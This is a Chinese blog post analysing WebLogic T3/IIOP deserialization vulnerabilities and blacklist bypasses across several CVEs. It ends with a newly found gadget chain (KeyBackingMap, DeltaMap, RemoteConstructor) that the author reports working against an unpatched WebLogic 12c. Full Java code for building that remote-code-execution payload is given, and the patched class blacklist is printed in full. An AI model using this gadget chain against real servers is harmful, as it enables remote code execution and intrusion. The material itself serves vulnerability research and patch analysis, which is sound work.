网络安全【漏洞安全】反序列化漏洞深入分析

前言

本文将介绍下如何 diff WebLogic 的补丁,以及在跟踪补丁的过程中对可能存在的一种绕过黑名单的反序列化手法的介绍。

T3 和 IIOP

以下漏洞均基于 T3 和 IIOP 作为入口触发,所以需要简单分析下 T3 和 IIOP 是如何反序列化的,以及 WebLogic 如何进行修复。

T3 的反序列化是基于原生的反序列化实现。

1664345772_6333e6ac008bf3fd3c14c.png

打了补丁之后:

1664345787_6333e6bb51092fe3d77cc.png

【一一帮助安全学习,所有资源获取处一一】
①网络安全学习路线
②20份渗透测试电子书
③安全攻防357页笔记
④50份安全攻防面试指南
⑤安全红队渗透工具包
⑥网络安全必备书籍
⑦100个漏洞实战案例
⑧安全大厂内部视频资源
⑨历年CTF夺旗赛题解析

IIOP 的反序列化是由 WebLogic 自身实现的:

1664345801_6333e6c9868f782a8aa68.png

在 this.readIndirectingRepositoryId(codebase); 进行黑名单过滤:

image.png

CVE早期 分析

WebLogic 在早期修复 T3 和 IIOP 的反序列化都是采用黑名单的方式修复,黑名单可以是类名,也可以是包名,以下是截止到 202110 的黑名单的列表,想要跟踪 WebLogic的 CVE,首先要做的就是看补丁把谁拉进黑名单了。

javaorg.apache.commons.collections.functorscom.sun.org.apache.xalan.internal.xsltc.traxjavassistjava.rmi.activationsun.rmi.serverorg.jboss.interceptor.builderorg.jboss.interceptor.readerorg.jboss.interceptor.proxyorg.jboss.interceptor.spi.metadataorg.jboss.interceptor.spi.modelcom.bea.core.repackaged.springframework.aop.aspectjcom.bea.core.repackaged.springframework.aop.aspectj.annotationcom.bea.core.repackaged.springframework.aop.aspectj.autoproxycom.bea.core.repackaged.springframework.beans.factory.supportorg.python.corecom.bea.core.repackaged.aspectj.weaver.tools.cachecom.bea.core.repackaged.aspectj.weaver.toolscom.bea.core.repackaged.aspectj.weaver.reflectcom.bea.core.repackaged.aspectj.weavercom.oracle.wls.shaded.org.apache.xalan.xsltc.traxoracle.eclipselink.coherence.integrated.internal.queryingoracle.eclipselink.coherence.integrated.internal.cacheorg.codehaus.groovy.runtime.ConvertedClosureorg.codehaus.groovy.runtime.ConversionHandlerorg.codehaus.groovy.runtime.MethodClosureorg.springframework.transaction.support.AbstractPlatformTransactionManagerjava.rmi.server.UnicastRemoteObjectjava.rmi.server.RemoteObjectInvocationHandlercom.bea.core.repackaged.springframework.transaction.support.AbstractPlatformTransactionManagerjava.rmi.server.RemoteObjectcom.tangosol.coherence.rest.util.extractor.MvelExtractorjava.lang.Runtimeoracle.eclipselink.coherence.integrated.internal.cache.LockVersionExtractororg.eclipse.persistence.internal.descriptors.MethodAttributeAccessororg.eclipse.persistence.internal.descriptors.InstanceVariableAttributeAccessororg.apache.commons.fileupload.disk.DiskFileItemorg.jboss.weld.interceptor.builder.MethodReferenceorg.jboss.weld.interceptor.spi.metadata.MethodMetadataoracle.jdbc.pool.OraclePooledConnectioncom.google.common.util.concurrent.AtomicDoubleArraycom.tangosol.internal.util.invokecom.tangosol.internal.util.invoke.lambdacom.tangosol.coherence.rest.util.extractorcom.tangosol.coherence.rest.utilcom.tangosol.util.extractorcom.tangosol.coherence.component.application.consolecom.tangosol.util.extractor.ReflectionExtractorcom.tangosol.internal.util.SimpleBinaryEntrycom.tangosol.util.extractor.ComparisonValueExtractorcom.tangosol.util.extractor.ConditionalExtractorcom.tangosol.util.extractor.ReflectionUpdatercom.tangosol.util.extractor.ScriptValueExtractorcom.tangosol.util.extractor.UniversalExtractorcom.tangosol.util.extractor.UniversalUpdatercom.tangosol.coherence.component.util.daemon.queueProcessor.service.grid.partitionedService.PartitionedCache$Storage$BinaryEntry

WebLogic 修复 CVE-2020-14644 的方式是将com.tangosol.internal.util.invoke.RemoteConstructor 拉入了黑名单,简单跟踪下 RemoteConstructor 的反序列化过程,看看是因为什么原因被拉进黑名单。

发现存在 readResolve 方法,该方法会在反序列化后执行。

image.png

image.png
1664345922_6333e7427d296e897662c.png
image.png

CVE-2020-14756分析

WebLogic 修复 CVE-2020-14644 的方式,是将黑名单加进 com.tangosol.util.ExternalizableHelper#readExternalizableLite 方法中。
1664346024_6333e7a8773cd753b400b.png

结合这个信息,可以肯定是在调用这个方法进行反序列化绕过了黑名单,才导致了这次补丁修补。往上追溯,观察下 WebLogic 的黑名单规则和为啥能够绕过黑名单。

以IIOP为例子,进入到WebLogic.iiop.IIOPInputStream#read_value(Class clz) 即开始反序列化操作。在进入反序列化操作前,先进入一个switch,进入 readIndirectingRepositoryId 方法。
1664346050_6333e7c217d39cf488422.png

最终来到 getClassFromID 方法,进入黑名单判断。
1664346068_6333e7d4b57be5fc12cab.png

判断完毕,回到 read_value 方法,进行反序列化操作。
1664346082_6333e7e23855105b7a2fa.png

选择不同的反序列化方法,最终执行 readResolve 方法,重新进入到上述轮回。
image.png

上述比较抽象,想要理解,必须明白反序列化是一个链式的操作。比如,你有一个类 A,类里面有个属性是类 B,这个时候,在反序列化的过程中,就会先反序列化类 A,之后在填充类 A 的过程中,继续反序列化类 B,类 B 在反序列化完成后,填充到类 A 中,同时整个过程都在一个流中操作,这个时候,只要还是 ObjectOutStream 的 read_value进行反序列化操作就不能绕过黑名单!

回到 readExternalizableLite 向外拓展,很容易发现继承ExternalizableLite 接口的都有一个新的反序列化方法readExternal(DataInput in),这个方法传入的流是DataInput。根据补丁也很容易猜想出这个流反序列化过程都是在 ExternalizableHelper#readExternalizableLite 实现的,现在主要是找到一个 ObjectInput 流转换到 DataInput的反序列化利用链。

image.png

image.png

找到一个很符合的类com.tangosol.net.security.PermissionInfo,入口是ObjectInput,之后会进入 readCollection 方法。
1664346189_6333e84d4ebcccc127b19.png

在 readCollection 方法中隐式转换成 DaraInput 流,后面传入 readObject。
image.png

在 readObject 方法中进行 ExternalizableHelper 自身实现的反序列化,这样就突破了黑名单,实现了 RCE。
1664346251_6333e88b5adbea63236e2.png

当然,这样的修复方式并不彻底,因为他先判断了流是否是 ObjectInputStream,这就给绕过黑名单给了一个可乘之机,于是诞生了CVE-2021-2136。

CVE-2021-2136分析

照例,从补丁中发现 WebLogic 将com.tangosol.internal.util.SimpleBinaryEntry 类拉进了黑名单,看下这个类是做什么的。
1664346273_6333e8a1825953f82e478.png

readExternal 方法中,没有啥操作,但是他在 getKey 和getValue 中出现了高危操作。
image.png

跟进 ExternalizableHelper.fromBinary 一看,便明白这是一个二阶反序列化操作。

1664346320_6333e8d02a5a103f1ee6e.png
1664346334_6333e8de349be400ae7fd.png

追踪 BufferInput 可以发现,他并不继承 ObjectInputStream,所以从 fromBinary 进行的反序列化绕过了黑名单的限制。
1664346354_6333e8f209238e0046dd7.png

因为最终的利用方法不在 readExternal 方法中,需要构造一条调用链,同时需要注意SimpleBinaryEntry仅在readExternal 中能获取 binkey 和 binvalue 的值。

根据 PermissionInfo 到 SimpleBinaryEntry 构造一条通路,最终二阶反序列化 RemoteConstructor 类进行 RCE。

String SIGALG = "SHA1withRSA";

总结: 一个渐变的过程

根据上述的漏洞分析,可以发现后续漏洞都是构造条件绕过黑名单触发第一个漏洞,并且从最开始的直接反序列化触发,到后面开始使用二阶反序列化的手段进行利用,好像在进行一种微妙的攻防的对抗,并且从后面2个 CVE 中,发现了绕过黑名单的可能性。

如果能将 ObjectInput 转化成其他的数据流并且能进行反序列化,那就可能绕过黑名单。

新的开始

查找 fromBinary 的二阶反序列化的点,JD 搜索整个coherence.jar 包使用了 fromBinary 的类,配合 tabby 进行搜索,最终发现了一个特点: 继承com.oracle.common.base.Converter 的类,在实现的convert 方法中,大多数都会使用 fromBinary 方法处理传入的 Object。
1664346388_6333e91405fc7e5516034.png
image.png

1664346432_6333e9403a81f02ddc9aa.png

回到整个 coherence.jar,继续一顿猛搜,调用了 convert方法的类,最终找到一个适合的类com.tangosol.coherence.transaction.internal.storage.KeyBackingMap

1664346448_6333e9505f09897c71af8.png
1664346459_6333e95b933886c72e83c.png

接下来,需要找到适合 context。context 需要满足以下几个条件:

1、必须是 BackingMapManagerContext 的子类。

2、getValueFromInternalConverter 或者getKeyFromInternalConverter 方法必须是正常并且返回的是 Converter 的子类。

3、需要存在 isKeyOwned 方法。

围绕上述条件一顿猛搜,最终找到一个适合的类com.tangosol.coherence.component.util.daemon.queueProcessor.service.grid.ReplicatedCache$BackingMapContext。
1664346470_6333e96663f883fa5af19.png

getConverterFromInternal 方法中,调用了 this.getService 方法。查看这个方法,返回的是一个ReplicatedCache 对象。
image.png

查看 ReplicatedCache 类,可以被反序列化。
1664346496_6333e9809126a2383d717.png

构造好了 KeyBackingMap 的反序列化条件,接下来是寻找到达 KeyBackingMap.put 的利用链,看到 map.put,就记起了 CC5 的利用链。
1664346539_6333e9ab881a5469577c3.png

马上构造一个利用链发送给 WebLogic,结果很让人遗憾,C** 不在当前的 ClassLoader。陷入了僵局,重新思考整个利用链,发现只卡死在 lazyMap 这个类中,lazyMap 必须要 Transformer 类,导致反序列化时进入黑名单。
1664346556_6333e9bc576457ba7c30a.png

只能回到 coherence.jar 包中,继续搜索替换 lazyMap 的类。这个类必须满足以下条件:

1、可反序列化

2、继承 Map

3、get 方法能调用另一个 map 的 put 方法

这个时候,想起了师傅,师傅给了一条绕过 LazyMap 的类。
1664346568_6333e9c895dec745aa2da.png

复现师傅的思路,通过 tabby 工具,果然找到了DeltaMap 类。
1664346581_6333e9d5b13823f75a5fd.png

构造好新的 gadget,本地测试成功。
image.png

发送给没打白名单补丁的 WebLogic12c 成功。
1664346677_6333ea35643480c5be8ef.png

使用 IIOP 反序列化失败 !!
image.png

跟踪失败的原因,发现在 IIOP 反序列化父类的时候,会进入 OnInit 进行类的初始化,初始化过程出错就会中断反序列化过程。
image.png
1664346716_6333ea5c9651c13a72221.png

最终的利用链

java public static Object getDaMap() throws Exception {        
HashMap hm = new HashMap();       
HashMap hm1 = new HashMap();       
Object ox = getRemote();       
Binary b1 = ExternalizableHelper.toBinary(ox);       
hm1.put("kk",b1);       
DeltaMap dm = new DeltaMap();       
Map m1 = (Map)getTkmap();               
Field f1 = dm.getClass().getDeclaredField("__m_DeleteMap");        
f1.setAccessible(true);               
f1.set(dm,hm);               
Field f2 = dm.getClass().getDeclaredField("__m_InsertMap");       
f2.setAccessible(true);               
f2.set(dm,hm);               
Field f3 = dm.getClass().getDeclaredField("__m_OriginalMap");       
f3.setAccessible(true);               
f3.set(dm,hm1);               
Field f4 = dm.getClass().getDeclaredField("__m_ReadMap");               
f4.setAccessible(true);               
f4.set(dm,m1);               
Field f5 = dm.getClass().getDeclaredField("__m_RepeatableRead");   
f5.setAccessible(true);       
f5.set(dm,true);               
Field f6 = dm.getClass().getDeclaredField("__m_UpdateMap");       
f6.setAccessible(true);               
f6.set(dm,hm);               
return dm; } 

public static Object getRemote() {               
try{                      
ClassIdentity classIdentity = new ClassIdentity(attach.test2.class);       
ClassPool cp = ClassPool.getDefault();                       
CtClass ctClass = cp.get(attach.test2.class.getName());                       ctClass.replaceClassName(attach.test2.class.getName(), attach.test2.class.getName() + "$" + classIdentity.getVersion());                       

ctClass.defrost();                       
RemoteConstructor constructor = new RemoteConstructor(                  
new ClassDefinition(classIdentity, ctClass.toBytecode()),            
new Object[]{}                               
);                              
return constructor;                           
}catch (Exception e)                           
{                                  
e.printStackTrace();                    
}                            
return null;          
}  

public static Object getTkmap() throws Exception {                   
ClassPool pool = ClassPool.getDefault();                   
CtClass ct1 = pool.get("com.tangosol.coherence.transaction.internal.storage.KeyBackingMap");                   
ct1.defrost();                   
CtConstructor constructor1 = CtNewConstructor.make("public KeyBackingMap(){}", ct1);                   
ct1.addConstructor(constructor1);                   
CtField ctFieldNew = new CtField(CtClass.longType,"serialVersionUID",ct1);                   ctFieldNew.setModifiers(Modifier.PRIVATE | Modifier.STATIC | Modifier.FINAL);                   ct1.addField(ctFieldNew,"7477261672381517136");                   
Class<?> clazz = ct1.toClass();                   
CtClass ct = pool.get("com.tangosol.coherence.component.util.daemon.queueProcessor.Service");                   CtClass oot = pool.get("java.io.ObjectOutputStream");                   
CtMethod cc3 = ct.getDeclaredMethod("writeObject",new CtClass[]{oot});                   
System.out.println(cc3);                   
ct.removeMethod(cc3);                   
ct.toClass();                   
LocalCache lc = new LocalCache();                   
Field fm = lc.getClass().getDeclaredField("__m_ResourceRegistry");   
fm.setAccessible(true);                   
fm.set(lc,null);                   
Coherence$CacheItem ccat = new Coherence$CacheItem();               
ReplicatedCache d = new ReplicatedCache("ddd",lc,false);                   
d._removeAllChildren();                   
setFV(d,"__m__Parent",ccat);                   
setFV(lc,"__m__Parent",ccat);                   
Field f1 = d.getClass().getSuperclass().getSuperclass().getDeclaredField("__m_SerializerMap");                   f1.setAccessible(true);                   
f1.set(d,null);                   
ReplicatedCache$BackingMapContext rb = new ReplicatedCache$BackingMapContext();                   
setFV(rb,"__m__Parent",d);                   
KeyBackingMap kb = (KeyBackingMap)clazz.newInstance();                   
Class cz11  = kb.getClass();                   
Field f11 =  cz11.getDeclaredField("m_context");                   
f11.setAccessible(true);                   
f11.set(kb,rb);                   
Field f21 = cz11.getDeclaredField("m_sTable");                   
f21.setAccessible(true);                   
f21.set(kb,"tceshi");                   
Field f31 = cz11.getDeclaredField("m_sService");                   
f31.setAccessible(true);                   
f31.set(kb,"yyds");                   
return kb;          
}  public static Object getMapObject() throws Exception {                   
HashMap hm = new HashMap();                   
hm.put("dd","ff");                   
DeltaMap oo = (DeltaMap)getDaMap();                   
TiedMapEntry tiedMapEntry = new TiedMapEntry(oo,"kk");                   BadAttributeValueExpException bve = new BadAttributeValueExpException("cdcd");                   
Field fs = bve.getClass().getDeclaredField("val");                   
fs.setAccessible(true);                   
fs.set(bve,tiedMapEntry);                   
return bve;     
}public static void main(String[] args) throws Exception {                   
Object o1 = getMapObject();}

结语

从复现前人的 CVE 到尝试挖掘 gadget,期间学习到了很多反序列化的知识,在理解完这些漏洞后,也就理解了 WebLogic 反序列化漏洞出现较为频繁的原因。因此,知己知彼,学习洞悉攻击者的思路有助于优化漏洞修补策略,也能更好的提升防御水平。

评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值